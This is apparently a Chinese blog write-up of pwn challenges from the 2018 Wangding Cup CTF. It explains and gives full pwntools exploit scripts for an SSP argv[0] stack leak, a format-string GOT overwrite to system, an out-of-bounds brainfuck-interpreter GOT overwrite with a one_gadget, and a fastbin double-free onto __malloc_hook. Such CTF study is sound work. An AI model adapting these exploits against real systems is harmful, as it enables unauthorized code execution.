美文网首页CTF-PWN
2018-网鼎杯 pwn(部分线上+线下)

2018-网鼎杯 pwn(部分线上+线下)

作者: cceb9d5a8577 | 来源:发表于2018-08-24 21:17 被阅读166次

    第一场:

    pwn--guess


    可以看到,这题是把flag存在栈里面,然后让你去猜flag,这种题目一看就是让你泄漏出flag来,不需要进行getshell


    这里可以看到,使用了线程的方法,因此就算是栈溢出崩溃了也没关系,让用户输入三次,那么我们就可以利用这三次去泄漏出flag
    刚刚好分三步走:

    1. 泄漏libc的基址
    2. 泄漏environ的地址(也就是栈的地址)
    3. 泄漏flag

    以上的三次泄漏都离不开一种叫做ssp的方法,就是通过栈溢出报错信息,泄漏出指定地址的方法:stack smashing detected:+argv[0]
    如果我们覆盖argv[0],便会输出特定字符串

    这个argv[0]在哪里找呢,首先你可以用gdb调试出来,在栈里面很高的位置,你可以看到他是指向文件名的:



    找到argv[0]的地址后,就可以通过减去到栈上的地址,得到偏移
    但实际,还有一种简单的方法可以直接找到这个地址:


    于是我们每次在gets输入的时候就构造足够的填充字符,以覆盖掉argv[0]的位置
    从而泄漏出我们想要泄漏的地址内容

    第一次泄漏puts的真正地址,也是在argv[0]处覆盖为puts_got,由此计算出libc的基址,从而拿到真正的_environ的地址
    第二次泄漏_environ,也就是栈的地址,也是在argv[0]处覆盖为_environ
    为什么泄漏_environ可以泄漏出栈的地址呢?
    是因为:
    在linux应用程序运行时,内存的最高端是环境/参数节(environment/arguments section)
    用来存储系统环境变量的一份复制文件,进程在运行时可能需要。
    例如,运行中的进程,可以通过环境变量来访问路径、shell 名称、主机名等信息。
    该节是可写的,因此在格式串(format string)和缓冲区溢出(buffer overflow)攻击中都可以攻击该节。
    *environ指针指向栈地址(环境变量位置),有时它也成为攻击的对象,泄露栈地址,篡改栈空间地址,进而劫持控制流。

    环境表是一个表示环境字符串的字符指针数组,由name=value这样类似的字符串组成,它储存在整个进程空间的的顶部,栈地址之上
    其中value是一个以”\0″结束的C语言类型的字符串,代表指针该环境变量的值
    一般我们见到的name都是大写,但这只是一个惯例

    下面就是一个环境表的示意图:


    相关姿势详细可见:http://tacxingxing.com/2017/12/16/environ/

    总之,我们需要泄漏出栈的地址,才能泄漏出flag,而environ存着栈的地址,那么我们就泄漏它

    第三次泄漏就是直接泄漏flag了,有了栈的地址,根据flag在栈上面的偏移很容易就可以泄漏出flag了
    exp如下:

    #!/usr/bin/python
    # -*- coding: utf-8 -*-
    from pwn import *
    
    context.log_level='debug'
    libc = ELF('./libc6_2.23-0ubuntu10_amd64.so')
    elf = ELF("./GUESS")
    #p = remote('106.75.90.160', 9999)
    p = process("./GUESS")
    
    puts_got = elf.got["puts"]
    print "puts_got:"+hex(puts_got)
    
    
    payload = 'a'* 296 + p64(puts_got)
    p.sendline(payload)
    p.recvuntil('stack smashing detected ***: ')
    puts_addr = u64(p.recvuntil(' ')[:-1]+'\x00\x00')
    print "puts_addr:"+hex(puts_addr)
    
    libc_base = puts_addr - libc.symbols['puts']
    environ_addr = libc_base + libc.symbols['_environ']
    print "libc_base:"+hex(libc_base)
    print "environ:"+hex(environ_addr)
    
    payload = 'a'*296 + p64(environ_addr)
    p.sendline(payload)
    p.recvuntil('stack smashing detected ***: ')
    stack_addr = u64(p.recvuntil(' ')[:-1]+'\x00\x00')
    
    print "stack_addr:"+hex(stack_addr)
    
    gdb.attach(p)
    pause()
    
    p.recvuntil('Please type your guessing flag')
    payload = 'a'*296 + p64(stack_addr-0x168)
    p.sendline(payload)
    
    p.interactive()
    

    pwn--blind

    这题也是比较骚的一题,将堆和IO_FILE的操作结合在一起



    从上面可以看到,开了full relro,意味着不能修改函数的got表

    ---------填坑ing---------


    第二场:

    pwn--easyFMT

    这是一道纯格式化利用的题目,因为不太熟练有关格式化漏洞的操作,做这题还花了一点时间,顺便倒回去复习了一波,发现这个格式化字符串骚起来还是有很多操作的,日后有时间专门总结一波各种用法吧
    这题的逻辑还是比较简单的,也没开多少保护


    分三步解题:

    1. 泄漏函数的真正地址,从而得到libc的版本和基址
    2. 改printf函数的got表为system的真实地址
    3. 输入“/bin/sh”在执行printf(&buf)的时候变相执行“system(/bin/sh)”

    exp如下:

    #encoding:utf-8
    from pwn import *
    context(os="linux",log_level = "debug")
    #p = remote("106.75.126.184", 58579)
    p = process("./pwn")
    elf = ELF("./pwn")
    libc = ELF("./libc6_2.23-0ubuntu10_i386.so")
    #这个libc是在泄漏puts函数地址后得,再去通过libcdatabase下载到本地的
    puts_got = elf.got["puts"]
    puts_libc = libc.symbols["puts"]
    print "puts_got:"+hex(puts_got)
    
    printf_got = elf.got["printf"]
    system_libc = libc.symbols["system"]
    
    payload = p32(puts_got) + '%6$s'
    p.recvuntil("Do you know repeater?\n")
    p.sendline(payload)
    data = p.recv()
    print data
    puts = u32(data[4:8])#这里通过观察发现取第5--第8个字节才是puts的真正地址
    print "puts---->"+hex(puts)
    libc_base = puts - puts_libc
    print "libc_base---->"+hex(libc_base)
    
    system = system_libc+libc_base
    payload = fmtstr_payload(6,{printf_got:system})
    #pwntools下的一个工具,意思是在格式化字符串参数偏移为6,改printf_got的内容为system,非常方便直接利用
    
    p.sendline(payload)
    p.sendline('/bin/sh\0')
    p.interactive()
    

    pwn--Fgo

    这题原题。。。出题人只是简单的把原题的函数名字和各种变量名字改了一下而已,醉了,跟hitcon-training的lab10hacknote一毛一样,就懒得写具体的解法了、、直接找原题做,然后原题的wp一堆


    网鼎杯线下半决赛

    pwn1

    ---------填坑ing-----------


    pwn2

    这种题目的类型叫做brainfuck
    第一次接触这类题目,太菜了,直接导致了线下赛的失利,其实认真分析一波发现并不难


    开启了常规的保护机制,接着就是理解题意:
    输入一串不长于0x400的字符串
    如果遇到>则数组a的下标index则+1
    如果遇到<则数组a的下标index则-1
    如果遇到+则数组a的元素a[index]的值+1
    如果遇到-则数组a的元素a[index]的值-1
    如果遇到.则输出数组a的元素a[index]的值
    如果遇到则向数组a的元素a[index]输入一个字节的值
    充分理解了上面的规则,实际上就可以完成任意地址的读写了
    后面的有关[]的规则都不重要了,通过对上面的规则的利用就足以解题了
    这题没有直接的后门函数,也不能栈溢出,也不是堆的漏洞,这种情况,就一般采用改某个函数的got表,从而改变函数的执行流程,也就需要用到one_gadget一梭子getshell


    这里可以看到,a数组和index都在bss上存储,同时bss上面存在stderr,stdin,stdout,就可以利用这些来泄漏libc的基址,要泄漏他们则需要使得index指向他们,这里用数组下标溢出的方法就行了,输入负数,就可以使得index指向a数组往上的位置
    同时,通过下图可以发现,函数的got表离bss段上的a数组很近,可以很方便地构造修改got表的操作

    具体的exp如下
    #encoding:utf-8
    from pwn import *
    context(os="linux", arch="amd64",log_level = "debug")
    
    ip =""
    if ip:
        p = remote(ip,20004)
    else:
        p = process("./pwn2")
    
    elf = ELF("./pwn2")
    
    libc=ELF('./libc6_2.23-0ubuntu10_amd64.so')
    
    
    #-------------------------------------
    def sl(s):
        p.sendline(s)
    def sd(s):
        p.send(s)
    def rc(timeout=0):
        if timeout == 0:
            return p.recv()
        else:
            return p.recv(timeout=timeout)
    def ru(s, timeout=0):
        if timeout == 0:
            return p.recvuntil(s)
        else:
            return p.recvuntil(s, timeout=timeout)
    def getshell():
        p.interactive()
    
    
    
    stdout = 0x602080
    stderr = 0x6020A0
    buf = 0x6020c0
    
    offset1 = buf- stdout
    exit_got = elf.got["exit"]
    offset2 = stdout - exit_got +5
    print "exit---->"+hex(exit_got)
    print "offset1--->"+hex(offset1)
    print "offset2--->"+hex(offset2)
    
    payload = "<"*offset1
    payload += ".>.>.>.>.>."
    payload += "<"*offset2
    payload += ",>,>,>,>,>,>,>,"
    print payload
    ru("Put the code: ")
    sl(payload)
    
    _IO_2_1_stdout_ = u64(p.recv(6).ljust(8,"\x00"))
    libc_base = _IO_2_1_stdout_ - libc.symbols["_IO_2_1_stdout_"]
    onegagde = libc_base+0xf1147
    print "_IO_2_1_stdout_--->"+hex(_IO_2_1_stdout_)
    print "libc_base--->"+hex(libc_base)
    
    p.send(p64(libc_base+0xf1147))
    getshell()
    

    pwn3


    保护机制全开的一题,看起来很难,当时是把我吓住了,后面回去复现才发现只是用了fastbin_attack的方法
    整个程序由多个功能函数组成

    create:

    先创建了一个0x28大小的chunk来存储三个信息,一是标志位flag,二是name的位置,三是tpye的内容,其中name的位置是一个chunk指针,指向了一个用户指定大小的chunk用于存储name的内容
    接着这个0x28大小的chunk被存储到bss段中去,表示每一个不同的character,这里和常规的堆的题目一样,都有这样的chunk_list存在

    show:

    常规操作,把chunk的内容给打印输出来

    delete:

    这个delete函数的功能只是把name所在的chunk给free掉了,而先前创建0x28大小的chunk并没有被free掉

    只有在clean函数,如下图,才是把先前创建0x28大小的chunkfree掉

    此外,程序中还有一个admin函数,似乎能实现很多操作,但我没深入去逆它,有点复杂,仅仅通过上面介绍的几个函数功能就能实现解题

    解题的思路如下:

    • 首先通过unsorted_bin,free掉一个chunk,让它进入unsorted_bin表,使得fd指向表头,然后通过泄漏出的地址,通过一顿偏移的操作,泄漏出malloc_hook的地址,进而泄漏出libc的基址
    • 利用double-free,使得下一个新创建的chunk会落在malloc_hook上,进而改了malloc_hook的地址,改变程序执行流程
      ps:这里需要注意的是,在构造double-free的时候,需要注意绕过他的检验,使得fd+0x08指向的数值是0x70~0x7f的,fd指向pre_size位,fd+0x08则指向了size位。具体原理可见:
      https://ctf-wiki.github.io/ctf-wiki/pwn/heap/fastbin_attack/#fastbin-double-free
      exp如下:
    #encoding:utf-8
    from pwn import *
    context(os="linux", arch="amd64",log_level = "debug")
    
    ip =""
    port=0
    if ip:
        p = remote(ip,port)
    else:
        p = process("./pwn3")
    
    elf = ELF("./pwn3")
    #libc = ELF("./libc-2.23.so")
    libc = elf.libc
    
    #-------------------------------------
    def sl(s):
        p.sendline(s)
    def sd(s):
        p.send(s)
    def rc(timeout=0):
        if timeout == 0:
            return p.recv()
        else:
            return p.recv(timeout=timeout)
    def ru(s, timeout=0):
        if timeout == 0:
            return p.recvuntil(s)
        else:
            return p.recvuntil(s, timeout=timeout)
    def debug(msg=''):
        gdb.attach(p,'')
        pause()
    def getshell():
        p.interactive()
    #-------------------------------------
    def create(Length,n,t):
        ru("Your choice : ")
        sl("1")
        ru("Length of the name :")
        sl(str(Length))
        ru("The name of character :")
        sd(n)
        ru("The type of the character :")
        sd(t)
    
    def show():
        ru("Your choice : ")
        sl("2")
    
    def delete(index):
        ru("Your choice : ")
        sl("3")
        ru("Which character do you want to eat:")
        sl(str(index))
    
    def clean():
        ru("Your choice : ")
        sl("4")
    
    create(0x98,'a'*8,'1234')
    create(0x68,'bbbb','456798')
    create(0x68,'bbbb','456798')
    create(0x28,'bbbb','456798')
    
    delete(0)
    clean()
    #这里需要注意,delet完以后还得clean保证一个character中的两个chunk都被free了
    #否则下面新创建chunk的时候会导致分配不到跟原先一样的指针
    
    create(0x98,'a'*8,'1234')
    show()
    ru("a"*8)
    
    leak = u64(p.recv(6).ljust(8,"\x00"))
    libc_base = leak -0x58-0x10 -libc.symbols["__malloc_hook"]
    print "leak----->"+hex(leak)
    malloc_hook = libc_base +libc.symbols["__malloc_hook"]
    print "malloc_hook----->"+hex(malloc_hook)
    print "libc_base----->"+hex(libc_base)
    one_gadget = 0xf02a4 + libc_base
    #通过泄漏出的libc去onegadget中找
    
    delete(1)
    delete(2)
    delete(1)
    #debug()
    create(0x68,p64(malloc_hook - 0x23),'1234')
    #该0x23为调试所得,具体可以在gdb中查看内存找到,能绕过double-free的检测机制即可
    create(0x68,'bbbb','456798')
    create(0x68,'bbbb','456798')
    create(0x68,"a"*0x13+p64(one_gadget),'1234')
    
    delete(0)
    delete(0)
    getshell()
    '''
    #两次free同一个chunk,触发报错函数
    #而调用报错函数的时候又会用到malloc-hook,从而getshell
    /* Another simple check: make sure the top of the bin is not the
           record we are going to add (i.e., double free).  */
        if (__builtin_expect (old == p, 0))
          {
            errstr = "double free or corruption (fasttop)";
            goto errout;
    }
    '''
    

    相关文章

      网友评论

        本文标题:2018-网鼎杯 pwn(部分线上+线下)

        本文链接:https://www.haomeiwen.com/subject/uxzbiftx.html